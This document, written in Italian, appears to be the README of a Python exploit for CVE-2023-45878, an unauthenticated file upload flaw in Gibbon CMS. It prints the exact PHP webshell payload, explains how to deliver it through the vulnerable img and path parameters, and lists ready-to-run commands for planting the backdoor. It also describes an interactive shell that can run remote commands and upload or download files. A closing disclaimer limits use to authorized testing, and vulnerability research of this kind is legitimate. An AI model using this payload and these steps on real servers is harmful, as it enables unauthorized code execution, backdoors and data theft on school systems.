
Exploit Python automatizzato per CVE-2023-45878, una vulnerabilità di upload file non autenticato in Gibbon CMS, che consente l'esecuzione remota di codice tramite il deployment di webshell PHP con shell interattiva e capacità di trasferimento file.
Questo script Python sfrutta CVE-2023-45878, una vulnerabilità di caricamento arbitrario di file non autenticato in Gibbon CMS versioni 25.0.1 e precedenti, che porta all'esecuzione remota di codice (RCE).
CVE-2023-45878 esiste nell'endpoint rubrics_visualise_saveAjax.php di Gibbon CMS. Questo endpoint è vulnerabile perché non richiede autenticazione e permette scritture arbitrarie di file.
La vulnerabilità deriva da quanto segue:
modules/Rubrics/rubrics_visualise_saveAjax.php è accessibile senza alcuna autenticazione.img, path e gibbonPersonID.
img dovrebbe contenere dati formattati in modo speciale, dove la parte dopo la virgola è una stringa codificata in base64.path, se fornito, viene utilizzato come nome del file di destinazione per il file caricato, relativo alla directory di installazione di Gibbon.img e lo scrive in un file specificato dal parametro path.img malevolo contenente codice PHP codificato in base64 (ad esempio, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) e specificando un path che risulti in un file .php accessibile tramite il server web, un attaccante può caricare una webshell PHP e ottenere l'esecuzione remota di codice sul server vulnerabile.Questo script Python automatizza lo sfruttamento di CVE-2023-45878. Esegue le seguenti azioni:
modules/Rubrics/rubrics_visualise_saveAjax.php per caricare una webshell PHP. Il payload della webshell è <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, dove {VERIFY_TAG} è un tag personalizzabile. Il payload è codificato in base64 e inviato all'interno del parametro img.cmd=echo) e controllando la presenza del VERIFY_TAG nella risposta. Esegue anche un controllo preliminare per una shell esistente se vengono utilizzate opzioni come --verify o --interactive.user@host:cwd$).python3 exploit.py <target_url> [options]
Argomenti:
target_url: L'URL di base dell'istanza Gibbon CMS di destinazione. Lo script anteporrà http:// se non viene fornito alcuno schema e garantirà una barra finale (ad esempio http://example.com/gibbon o example.com/gibbon).Opzioni:
-s <shell_path>, --shell-path <shell_path>:
Specifica il percorso e il nome file desiderato per la shell caricata (ad esempio shell.php, uploads/shell.php).
Se omesso, verrà generato un nome file casuale di 8 caratteri con estensione .php nella directory base di Gibbon.
Attenzione: assicurati che il percorso specificato sia scrivibile dal server web e accessibile tramite il web.-v, --verify:
Dopo aver tentato di caricare la shell, verifica se funziona. Questa opzione attiva anche un controllo preliminare per vedere se esiste già una shell con il nome e il tag specificati; in tal caso, il caricamento viene saltato.-i, --interactive:
Entra nella modalità shell interattiva. Se la shell non è già presente (verificata tramite controllo preliminare), verrà prima caricata e verificata.-t <tag>, --tag <tag>:
Specifica un tag statico personalizzato utilizzato nel payload della webshell a scopo di verifica. (Predefinito: ExploitGibbon).Esempi:
Exploit di base con nome shell casuale nella directory principale di Gibbon e tag predefinito:
python3 exploit.py http://target.com/gibbon/
Exploit, specifica nome file shell my_shell.php nella directory principale di Gibbon e tag predefinito:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Exploit, carica file shell backdoor.php in uploads/, verificalo e usa un tag personalizzato:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
Exploit, carica shell ed entra in modalità interattiva con tag predefinito e timeout di 30 secondi:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
Entra in modalità interattiva con una shell esistente (lo script ne verificherà la presenza):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Verifica solo se una shell chiamata existing_shell.php con il tag predefinito è attiva (tenterà il caricamento se non trovata):
dataclasses, pathlib)requests: Installare con pip install requestsrich: Installare con pip install richprompt_toolkit (opzionale, per modalità interattiva avanzata): Installare con pip install prompt_toolkitQuesto script è fornito solo a scopo educativo e di test di sicurezza. Usalo a tuo rischio e solo contro sistemi per cui hai esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo script. Sfruttare vulnerabilità senza autorizzazione è illegale e non etico.
cd per cambiare la directory di lavoro remota.!help: Mostra l'aiuto per i comandi interattivi.!upload <percorso_locale> [percorso_remoto]: Carica un file locale sul server di destinazione tramite la webshell.!download <percorso_remoto> [percorso_locale]: Scarica un file dal server di destinazione.!lcd <percorso>: Cambia la directory di lavoro locale corrente.!ldir [percorso]: Elenca file e directory nella directory di lavoro locale corrente o nel percorso specificato.prompt_toolkit se disponibile per un'esperienza a riga di comando migliorata (cronologia, modifica avanzata), altrimenti ricade sul input() integrato di Python.!upload riutilizza l'endpoint vulnerabile per scrivere file arbitrari, mentre !download utilizza comandi di sistema eseguiti tramite la webshell (come base64 o [Convert]::ToBase64String di PowerShell) per recuperare il contenuto del file.--timeout <timeout>:
Imposta il timeout delle richieste HTTP in secondi. (Predefinito: 20).python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v